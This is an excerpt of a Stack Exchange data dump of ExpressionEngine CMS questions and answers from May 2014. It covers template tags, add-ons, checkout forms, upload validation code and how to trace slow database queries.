  <row Id="21788" PostTypeId="2" ParentId="21356" CreationDate="2014-05-08T14:50:41.923" Score="0" Body="&lt;p&gt;Disabling transcribe was the solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;     channel=&quot;orders&quot; &#xA;     limit=&quot;1&quot; &#xA;     status=&quot;not none&quot; &#xA;     dynamic=&quot;no&quot; &#xA;     entry_id=&quot;{embed:entry_id}&quot; &#xA;     parse_inward=&quot;yes&quot; &#xA;     show_future_entries=&quot;yes&quot; &#xA;     transcribe=&quot;disable&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3004" LastActivityDate="2014-05-08T14:50:41.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21789" PostTypeId="2" ParentId="21774" CreationDate="2014-05-08T15:04:20.143" Score="7" Body="&lt;p&gt;Just to clarify, we definitely use a forked version of CI with security holes patched as we find them. We also apply any security patches to the public version of CodeIgniter. Don't update what's there as that would cause compatibility issues.&lt;/p&gt;&#xA;" OwnerUserId="3041" LastActivityDate="2014-05-08T15:04:20.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21790" PostTypeId="2" ParentId="21773" CreationDate="2014-05-08T15:06:54.960" Score="1" Body="&lt;p&gt;You'd need to create an add-on to use them, but creating a plugin is simple enough and if you needed something beefier you could always build a module. Also, depending on what you're trying to do, someone may have already solved it so search around at &lt;a href=&quot;http://devot-ee.com&quot; rel=&quot;nofollow&quot;&gt;Devot-ee&lt;/a&gt; for potential add-ons.&lt;/p&gt;&#xA;" OwnerUserId="3041" LastActivityDate="2014-05-08T15:06:54.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21791" PostTypeId="2" ParentId="21783" CreationDate="2014-05-08T15:13:07.953" Score="2" Body="&lt;p&gt;Had the same issue so wrote a &lt;a href=&quot;https://github.com/peteralewis/tax&quot; rel=&quot;nofollow&quot;&gt;Tax plugin&lt;/a&gt;, I've just uploaded it but still needs instructions adding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Template Tags&lt;/strong&gt; - either as tag pairs or single tags:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;{exp:tax:only} - display only the tax&lt;/li&gt;&#xA;&lt;li&gt;{exp:tax:price} - display the price with tax&lt;/li&gt;&#xA;&lt;li&gt;{exp:tax:none} - display the non-taxed price&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If using as single tags, use the value or price parameter to set the numerical price value. Value passed can already be inclusive or exclusive of tax - default is that tax is already included in price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;{exp:tax:only value=&quot;10&quot; rate=&quot;20&quot; currency=&quot;£&quot; show_currency=&quot;yes&quot;}&lt;/li&gt;&#xA;&lt;li&gt;{exp:tax:only rate=&quot;20&quot; currency=&quot;£&quot; show_currency=&quot;yes&quot;}10{/exp:tax:only}&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Will both output: £2.00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Parameters&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;included (is the tax already included in the passed price value)&lt;/li&gt;&#xA;&lt;li&gt;value or price (the number/string to use - for single tags only)&lt;/li&gt;&#xA;&lt;li&gt;rate (rate of tax, any non numerical characters will be stripped)&lt;/li&gt;&#xA;&lt;li&gt;show_currency (show the currency symbol on output - defaults to no)&lt;/li&gt;&#xA;&lt;li&gt;currency (what currency symbol to use - can also take any character passed as a value or  within the tag pair)&lt;/li&gt;&#xA;&lt;li&gt;position (where the currency symbol should appear, options are &quot;before&quot; and &quot;after&quot; - defaults to before)&lt;/li&gt;&#xA;&lt;li&gt;decimals (show decimal points - defaults to yes)&lt;/li&gt;&#xA;&lt;li&gt;thousands (show the thousands character - defaults to yes, character can only be defined through config settings)&lt;/li&gt;&#xA;&lt;li&gt;rounding (how the calculations should be rounded, options are &quot;up&quot;, &quot;down&quot;, &quot;nearest&quot;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All the above defaults can be defined in the EE config file:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;tax_rate&lt;/li&gt;&#xA;&lt;li&gt;tax_included&lt;/li&gt;&#xA;&lt;li&gt;tax_currency&lt;/li&gt;&#xA;&lt;li&gt;tax_position&lt;/li&gt;&#xA;&lt;li&gt;tax_decimals&lt;/li&gt;&#xA;&lt;li&gt;tax_thousands&lt;/li&gt;&#xA;&lt;li&gt;tax_show_currency&lt;/li&gt;&#xA;&lt;li&gt;tax_rounding&lt;/li&gt;&#xA;&lt;li&gt;tax_decimal_places&lt;/li&gt;&#xA;&lt;li&gt;tax_thousand_symbol&lt;/li&gt;&#xA;&lt;li&gt;tax_decimal_symbol&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Decimal places, decimal character and thousand character can only be set via config variables.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2014-05-08T15:13:07.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21792" PostTypeId="2" ParentId="21749" CreationDate="2014-05-08T15:25:20.387" Score="2" Body="&lt;p&gt;You will need to use a product instead of a custom order field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Store 2, the checkout tag and add to cart tag both submit to the same URL, so you can use this to add optional products to the cart during checkout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, the high level overview is that you simply submit a hidden field with the entry_id along with the standard update cart fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;items[0][entry_id]&quot; value=&quot;123&quot; /&amp;gt;&#xA;&amp;lt;!-- hidden input so that unselecting the checkbox submits 0 quantity --&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;items[0][update_qty]&quot; value=&quot;0&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;items[0][update_qty]&quot; value=&quot;1&quot; selected /&amp;gt; Gift wrapping?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;update_qty&lt;/code&gt; is exactly like &lt;code&gt;item_qty&lt;/code&gt;, except that it overwrites any existing quantity in the cart rather than adding to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only difference between this and the regular add to cart form is that you have to wrap the inputs with &lt;code&gt;items[num][]&lt;/code&gt;. This allows multiple products to be added/updated at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is similar to how the &lt;a href=&quot;https://exp-resso.com/docs/product_form_tag.html&quot; rel=&quot;nofollow&quot;&gt;product form tag&lt;/a&gt; works (they all submit to the same endpoint).&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2014-05-09T16:23:09.703" LastActivityDate="2014-05-09T16:23:09.703" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="21793" PostTypeId="2" ParentId="21771" CreationDate="2014-05-08T15:49:42.560" Score="7" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I assume that EE's native file upload functions use the Upload class, but what exactly does the Upload class do to validate and sanitize? Does it check MIME type using some sort of actual file analysis, or does it simply rely on what the browser reads it as?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The Upload class uses the &lt;code&gt;$_FILES&lt;/code&gt; array and it does use &lt;code&gt;$_FILES[]['type']&lt;/code&gt;, but we do some verification later on:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (function_exists('getimagesize') &amp;amp;&amp;amp; @getimagesize($file) !== FALSE)&#xA;{&#xA;    if (($file = @fopen($file, 'rb')) === FALSE) // &quot;b&quot; to force binary&#xA;    {&#xA;        return FALSE; // Couldn't open the file, return FALSE&#xA;    }&#xA;&#xA;    $opening_bytes = fread($file, 256);&#xA;    fclose($file);&#xA;&#xA;    // These are known to throw IE into mime-type detection chaos &amp;lt;a,&#xA;    // &amp;lt;body, &amp;lt;head, &amp;lt;html, &amp;lt;img, &amp;lt;plaintext, &amp;lt;pre, &amp;lt;script, &amp;lt;table,&#xA;    // &amp;lt;title&#xA;    // title is basically just in SVG, but we filter it anyhow&#xA;&#xA;    if ( ! preg_match('/&amp;lt;(a|body|head|html|img|plaintext|pre|script|table|title)[\s&amp;gt;]/i', $opening_bytes))&#xA;    {&#xA;        return TRUE; // its an image, no &quot;triggers&quot; detected in the first 256 bytes, we're good&#xA;    }&#xA;    else&#xA;    {&#xA;        return FALSE;&#xA;    }&#xA;}&#xA;&#xA;if (($data = @file_get_contents($file)) === FALSE)&#xA;{&#xA;    return FALSE;&#xA;}&#xA;&#xA;$CI =&amp;amp; get_instance();&#xA;return $CI-&amp;gt;security-&amp;gt;xss_clean($data, TRUE);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So we:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make sure that &lt;code&gt;getimagesize()&lt;/code&gt; works on the file&lt;/li&gt;&#xA;&lt;li&gt;If the file is an image, we check the first 256 bytes for any funny business&lt;/li&gt;&#xA;&lt;li&gt;Make sure that running &lt;code&gt;Security::xss_clean()&lt;/code&gt; returns an untouched file&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can anyone give any particular pointers or best practices in EE photo upload settings or possibly server settings to permissions given to the photo upload folder to maintain the highest level of security?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Well, in order for the images to be accessible on your website, the images must have permissions so the server can access them, which means you at least need read+write access for the server and read access for everything else. Our recommendation in the &lt;a href=&quot;http://www.ellislab.com/expressionengine/user-guide/installation/installation.html#set-file-permissions&quot;&gt;installation documentation&lt;/a&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;These permissions are typical for PHP-based applications running on Apache, though you may want to check with your web host to see if more restrictive permissions can be used to allow PHP to write to files and directories.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since every server is different, we're pretty loose on our suggestions, but it doesn't hurt to try more and more restrictive options until you find one that works best for you.&lt;/p&gt;&#xA;" OwnerUserId="3041" LastEditorUserId="3041" LastEditDate="2014-05-08T16:15:17.947" LastActivityDate="2014-05-08T16:15:17.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21794" PostTypeId="2" ParentId="21773" CreationDate="2014-05-08T15:54:30.523" Score="0" Body="&lt;p&gt;Along the lines of what Wes said about an existing add-on that might do what you need: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;Mo' Variables&lt;/a&gt; makes a lot of what the Input Class provides available in your templates (ie, GET, POST, GET and POST, and Cookies). It's a very useful add-on.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-05-08T15:54:30.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21795" PostTypeId="1" CreationDate="2014-05-08T16:16:21.017" Score="3" ViewCount="41" Body="&lt;p&gt;I have seen functionality on a Wordpress site that allowed visitors to sign up for notification whenever new content is added to the site. The subscription allowed the user to receive notification of all new additions or to limit notifications to specific categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user could also select how they want to be notified (by email, Facebook, twitter, other social media, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of an existing EE add-on that can replicate this functionality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Darin Parker&lt;/p&gt;&#xA;" OwnerUserId="3017" LastActivityDate="2014-05-08T20:45:45.430" Title="ExpressionEngine add-on question regarding email and social media notification" Tags="|add-on|notification|social|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21796" PostTypeId="1" AcceptedAnswerId="21919" CreationDate="2014-05-08T18:40:25.657" Score="0" ViewCount="114" Body="&lt;p&gt;OK revamped question: now it displays all the right stuff but it doesn't interact with the tabs and stacks them all in a static display. straight forward EE code works fine. Once i insert the prefix to get the last breakdown locations names however it does not&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://niwot.colorado.edu/index.php/location&quot; rel=&quot;nofollow&quot;&gt;http://niwot.colorado.edu/index.php/location&lt;/a&gt; (straight forward EE code) (PS if you click on the pills some don't have placeholder text)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://niwot.colorado.edu/index.php/location/test_location2&quot; rel=&quot;nofollow&quot;&gt;http://niwot.colorado.edu/index.php/location/test_location2&lt;/a&gt; (with the prefix code but it repeats and doesn't interact with tabs. some how things are not set correctly. tried quite few variations with no success any suggestions?)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children field=&quot;3rd_order_under&quot; limit=&quot;25&quot; sort=&quot;asc&quot; var_prefix=&quot;thirdorder&quot;}&#xA;             &amp;lt;li {if count == '1'}class=&quot;active&quot;{/if} id=&quot;pillTab{url_title}Tab&quot;&amp;gt;&#xA;               &amp;lt;div class=&quot;row&quot;&amp;gt;                                     &#xA;                 &amp;lt;div class=&quot;twelve columns&quot;&amp;gt; &#xA;                   {thirdorder:summary_3rd_order}&amp;lt;br /&amp;gt;&#xA;&#xA;                   {thirdorder:exp:playa:children field=&quot;4th_order_under_3rd_order&quot; sort=&quot;asc&quot; var_prefix=&quot;fourthorder&quot;}&#xA;                     {fourthorder:title}&#xA;                   {/thirdorder:exp:playa:children}&#xA;&#xA;                 &amp;lt;/div&amp;gt;&#xA;               &amp;lt;/div&amp;gt;&#xA;             &amp;lt;/li&amp;gt;&#xA;           {/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;note: please see playa doc on children for reference&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="3047" LastEditDate="2014-05-09T22:17:27.637" LastActivityDate="2014-05-13T18:05:12.097" Title="var_prefix= not working as one would hope" Tags="|templates|playa|variable|nesting|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21797" PostTypeId="1" AcceptedAnswerId="21926" CreationDate="2014-05-08T18:59:31.960" Score="0" ViewCount="652" Body="&lt;p&gt;We've taken over a site and I've set up a copy on my local setup mostly successfully. The problem I'm having is getting the following PHP errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Severity: Notice&#xA;Message: Undefined property: Channel_images_model::$LOCS&#xA;Filename: models/channel_images_model.php&#xA;Line Number: 568&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Cannot modify header information - headers already sent by (output started at /my/path/to/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: core/Common.php&#xA;Line Number: 408&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is on EE 2.7.2 and Channel Images 5.4.8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at permissions - they're all correct. I'm able to get into EE just fine, as well as the Channel Images module. However, if I try to regenerate images, nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure what to try next. I've been waiting to hear from DevDemon support for over a week. :/&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2014-10-16T22:13:03.883" Title="Issue with Channel Images on local setup" Tags="|channel-images|devdemon|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21798" PostTypeId="1" CreationDate="2014-05-08T19:46:37.183" Score="3" ViewCount="293" Body="&lt;p&gt;One of our sites has been really suffering and our ISP pointed out that we needed to optimize our templates because we were generating some really slow queries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT DISTINCT(t.entry_id) FROM exp_channel_titles AS t&#xA;            LEFT JOIN exp_channels ON t.channel_id = exp_channels.channel_id LEFT JOIN exp_members AS m ON m.member_id = t.author_id INNER JOIN exp_category_posts ON t.entry_id = exp_category_posts.entry_id&#xA;                     INNER JOIN exp_categories ON exp_category_posts.cat_id = exp_categories.cat_id WHERE t.entry_id !='' AND t.site_id IN ('1')  AND t.entry_date &amp;lt; 1399575836  AND (t.expiration_date = 0 OR t.expiration_date &amp;gt; 1399575836) AND t.entry_id != '2706' AND (t.channel_id = '1' OR t.channel_id = '3' ) AND t.entry_id IN ('164','162','356','354','145','180','230','221','218','207','243','244','254','256','257','272','281','283','308','309','314','315','318','319','323','324','329','330','331','332','333','337','338','343','346','348','349','350','351','359','360','361','362','363','371','376','384','393','394','409','411','426','450','455','470','471','480','488','507','509','513','514','517','522','527','529','532','538','539','557','559','560','563','582','583','584','588','604','609','613','614','617','621','625','633','641','650','652','682','813','674','676','677','678','679','688','694','696','699','704','712','718','724','726','728','732','757','758','759','763','770','783','778','784','794','796','799','810','822','828','837','1216','871','843','844','845','846','847','855','861','863','864','865','866','868','873','887','888','879','884','890','891','892','896','900','902','907','912','913','914','916','917','918','924','925','929','955','935','936','940','946','950','953','954','95! 7','961','965','967','968','1169','981','983','998','999','1131','1005','1007','1014','1019','1026','1185','1030','1031','1032','1045','1046','1050','1056','1078','1073','1075','1081','1088','1094','1099','1109','1116','1120','1124','1144','1151','1152','1153','1154','1156','1158','1161','1163','1166','1172','1241','1195','1198','1199','1200','1201','1204','1591','1209','1215','1220','1223','1226','1232','1233','1245','1246','1257','1258','1261','1270','1274','1275','1279','1280','1283','1288','1289','1300','1301','1303','1308','1312','1313','2378','1345','1351','1354','1357','1366','1372','1379','1386','1387','1390','1405','1393','1402','1403','1416','1417','1420','1421','1423','1430','1432','1434','1447','1450','1455','1465','1468','1469','1473','1475','1478','1481','1487','1488','1503','1506','1507','1512','1513','1517','1520','1521','1546','1547','1548','1550','1571','1557','1558','1559','1561','1564','1565','1567','1568','1595','1600','1604','1609','1614','1613','1624'! ,'1641','1633','1638','1644','1645','1650','1653','1655','1658! ','1659','1660','1662','1663','1676','1677','1687','1688','1690','1693','1697','1699','1700','1701','1703','1704','1705','1711','1713','1715','1718','1722','1726','1730','1731','1738','1742','1744','1752','1759','1762','1767','1768','1772','1773','1776','1797','1779','1782','1791','1795','1810','1813','1815','1828','1840','1841','1843','1844','1845','1860','1861','1867','1885','1879','1888','1889','1892','1893','1894','1900','1904','1910','1914','1912','1915','1921','1925','1927','1929','1930','1939','1948','1949','1952','1954','1956','1958','1959','1974','1976','1985','1988','2001','2002','2003','2007','2015','2014','2020','2324','2033','2034','2035','2039','2046','2044','2048','2052','2059','2057','2061','2062','2066','2078','2075','2082','2102','2124','2129','2128','2225','2144','2146','2177','2184','2187','2188','2192','2193','2197','2199','2201','2212','2222','2226','2227','2234','2240','2245','2246','2253','2274','2275','2276','2293','2297','2299','2301','2304','2314'! ,'2323','2334','2343','2348','2351','2363','2367','2368','2369','2379','2382','2387','2400','2405','2416','2417','2420','2434','2440','2442','2445','2452','2458','2460','2462','2463','2473','2480','2484','2497','2499','2502','2505','2509','2511','2520','2521','2523','2525','2530','2531','2537','2547','2553','2557','2566','2592','2598','2602','2608','2612','2638','2641','2643','2645','2648','2651','2655','2658','2661','2663','2694','2665','2693','2700','2701','2702','2704','2708','2709','2739','2736','2722','2723','2725','2727','2729','2731','2733','2737','2746') AND t.status  IN ('open','draft') AND t.status != 'closed' ORDER BY t.sticky desc, t.entry_date desc, t.entry_id desc LIMIT 0, 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So yeah, that's a mess. But how would I identify what EE tag is generating it so I can find a better solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips on tracking these things down? &lt;/p&gt;&#xA;" OwnerUserId="2268" LastEditorUserId="55" LastEditDate="2014-05-09T01:41:59.160" LastActivityDate="2014-05-09T08:52:35.170" Title="How to find the source of awful queries generated by EE" Tags="|tags|debugging|queries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21799" PostTypeId="2" ParentId="21798" CreationDate="2014-05-08T20:15:39.740" Score="11" Body="&lt;p&gt;If you enable the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/output_and_debugging_preferences.html#display-output-profiler&quot; rel=&quot;nofollow noreferrer&quot;&gt;Output Profiler&lt;/a&gt; you'll see the profiler at the very bottom of the page. Look around for this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vW6nD.png&quot; alt=&quot;Output Profiler SQL Queries&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you click the show link you'll see all of the queries required to build your page along with the file, line number, class, and method that ran that query:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/54xvZ.png&quot; alt=&quot;Output Profiler SQL Queries Expanded&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might still need to do a bit of hunting because a query could be created in one place and run in another. It might also help to enable the Template Debugger because it shows the memory usage after certain logged items. Take this for instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(0.010291 / 5.69MB) Processing Tags&#xA;(0.010321 / 5.70MB) Module Tag: Moblog/check&#xA;(0.010340 / 5.70MB) Module Tag: Search/simple_form&#xA;(0.010356 / 5.70MB) Module Tag: Channel/entries&#xA;(0.010372 / 5.70MB) Module Tag: Channel/entries&#xA;(0.010389 / 5.70MB) Module Tag: Channel/entries&#xA;(0.010405 / 5.70MB) Module Tag: Channel/categories&#xA;(0.010421 / 5.70MB) Module Tag: Channel/month_links&#xA;(0.010437 / 5.70MB) Module Tag: Channel/calendar&#xA;(0.010453 / 5.70MB) Module Tag: Channel/entries&#xA;(0.010469 / 5.70MB) Module Tag: Channel/entries&#xA;(0.010488 / 5.70MB) Including Files for Plugins and Modules&#xA;(0.020725 / 7.62MB) Files for Plugins and Modules All Included&#xA;(0.021423 / 7.64MB) Beginning Final Tag Data Processing&#xA;(0.021446 / 7.64MB) Calling Class/Method: Moblog/check&#xA;(0.021545 / 7.65MB) -&amp;gt; Class Called: Moblog&#xA;(0.021594 / 7.66MB) -&amp;gt; Method Called: check&#xA;(0.022470 / 7.69MB) -&amp;gt; Data Returned&#xA;(0.022506 / 7.68MB) Calling Class/Method: Search/simple_form&#xA;(0.022611 / 7.68MB) -&amp;gt; Class Called: Search&#xA;(0.022635 / 7.68MB) -&amp;gt; Method Called: simple_form&#xA;(0.023925 / 7.82MB) -&amp;gt; Data Returned&#xA;(0.023951 / 7.82MB) Calling Class/Method: Channel/entries&#xA;(0.024100 / 7.82MB) -&amp;gt; Class Called: Channel&#xA;(0.025505 / 8.01MB) -&amp;gt; Method Called: entries&#xA;(0.076083 / 11.72MB) -&amp;gt; Data Returned&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see that loading the files for plugins and modules used 1.92MB of memory since it jumped at that point. Continuing down the list, the channel entries method used close to 3.9MB of memory.&lt;/p&gt;&#xA;" OwnerUserId="3041" LastActivityDate="2014-05-08T20:15:39.740" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21800" PostTypeId="2" ParentId="21421" CreationDate="2014-05-08T20:29:14.557" Score="2" Body="&lt;p&gt;If you're logged out, you shouldn't see anything, so make sure you're logged in. Second, this tag needs to be on a single entry page and it will try to figure out your entry ID by:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Checking to see if you used an &lt;code&gt;entry_id=&lt;/code&gt; or &lt;code&gt;url_title=&lt;/code&gt; parameter on the &lt;code&gt;{exp:comment:notification_links}&lt;/code&gt; tag&lt;/li&gt;&#xA;&lt;li&gt;Checking the URI to see if the entry ID shows up there&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, if your entry id or URL title is &lt;strong&gt;not&lt;/strong&gt; in the URI, you should be using the &lt;code&gt;entry_id=&lt;/code&gt; or &lt;code&gt;url_title=&lt;/code&gt; parameters.&lt;/p&gt;&#xA;" OwnerUserId="3041" LastActivityDate="2014-05-08T20:29:14.557" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21801" PostTypeId="2" ParentId="21795" CreationDate="2014-05-08T20:45:45.430" Score="1" Body="&lt;p&gt;This is not available OOB or with current addons, but these two addons come the closest to what you need minus the social media integration: &lt;a href=&quot;http://devot-ee.com/add-ons/update-message&quot; rel=&quot;nofollow&quot;&gt;update message&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/entry-mailing&quot; rel=&quot;nofollow&quot;&gt;Entry Mailing&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might consider talking to those developers and see if they would be able to add that functionality in - I would imagine that you would need to pay for this extra functionality but it's definitely worth asking.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-05-08T20:45:45.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21802" PostTypeId="2" ParentId="21796" CreationDate="2014-05-08T21:12:37.907" Score="1" Body="&lt;p&gt;To try and get a handle on what's going on, I would break things down to just the variable output and forget about the html markup until it makes sense.  Try this and see if you can pinpoint it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children&#xA;    field=&quot;3rd_order_under&quot; &#xA;    sort=&quot;asc&quot; &#xA;    var_prefix=&quot;thirdorder&quot;&#xA;}&#xA;    3rd count: {thirdorder:count} of {thirdorder:total_results}&amp;lt;br&amp;gt;&#xA;    3rd url_title: {thirdorder:url_title}&amp;lt;br&amp;gt;&#xA;    3rd summary_3rd_order: {thirdorder:summary_3rd_order}&amp;lt;br&amp;gt;&#xA;&#xA;    {thirdorder:exp:playa:children &#xA;        field=&quot;4th_order_under_3rd_order&quot; &#xA;        sort=&quot;asc&quot; &#xA;        var_prefix=&quot;fourthorder&quot;&#xA;    }&#xA;        4th count: {fourthorder:count} of {fourthorder:total_results}&amp;lt;br&amp;gt;&#xA;        4th title: {fourthorder:title}&amp;lt;br&amp;gt;&#xA;        &amp;lt;hr&amp;gt;&#xA;    {/thirdorder:exp:playa:children}&#xA;&#xA;    &amp;lt;hr&amp;gt;&#xA;{/exp:playa:children}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-05-08T21:12:37.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21804" PostTypeId="2" ParentId="21796" CreationDate="2014-05-09T01:09:27.943" Score="1" Body="&lt;p&gt;The inner &lt;code&gt;exp:playa:children&lt;/code&gt; tag should not be prefixed. The var_prefix is for the variables inside the tag, not for other tags. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll want to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children&#xA;    field=&quot;3rd_order_under&quot; &#xA;    sort=&quot;asc&quot; &#xA;    var_prefix=&quot;thirdorder&quot;&#xA;}&#xA;    3rd count: {thirdorder:count} of {thirdorder:total_results}&amp;lt;br&amp;gt;&#xA;    3rd url_title: {thirdorder:url_title}&amp;lt;br&amp;gt;&#xA;    3rd summary_3rd_order: {thirdorder:summary_3rd_order}&amp;lt;br&amp;gt;&#xA;&#xA;    {exp:playa:children &#xA;        field=&quot;4th_order_under_3rd_order&quot; &#xA;        sort=&quot;asc&quot; &#xA;        var_prefix=&quot;fourthorder&quot;&#xA;        entry_id=&quot;{thirdorder:entry_id}&quot;&#xA;    }&#xA;        4th count: {fourthorder:count} of {fourthorder:total_results}&amp;lt;br&amp;gt;&#xA;        4th title: {fourthorder:title}&amp;lt;br&amp;gt;&#xA;        &amp;lt;hr&amp;gt;&#xA;    {/exp:playa:children}&#xA;&#xA;    &amp;lt;hr&amp;gt;&#xA;{/exp:playa:children}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-05-09T01:09:27.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21805" PostTypeId="2" ParentId="20543" CreationDate="2014-05-09T01:36:56.310" Score="0" Body="&lt;p&gt;As far as I'm aware the P&amp;amp;T field pack is not yet compatible with EE 2.8.x&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-05-09T01:36:56.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21806" PostTypeId="2" ParentId="21798" CreationDate="2014-05-09T02:08:48.740" Score="5" Body="&lt;p&gt;In addition to the fine answer by Wes I'd add that most likely you don't need to &quot;find a better solution&quot; you just need to use the &lt;code&gt;disable&lt;/code&gt; parameter in your &lt;code&gt;exp:channel:entries&lt;/code&gt; tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple of those JOINs will be eliminated with this simple fix.&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2014-05-09T02:08:48.740" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
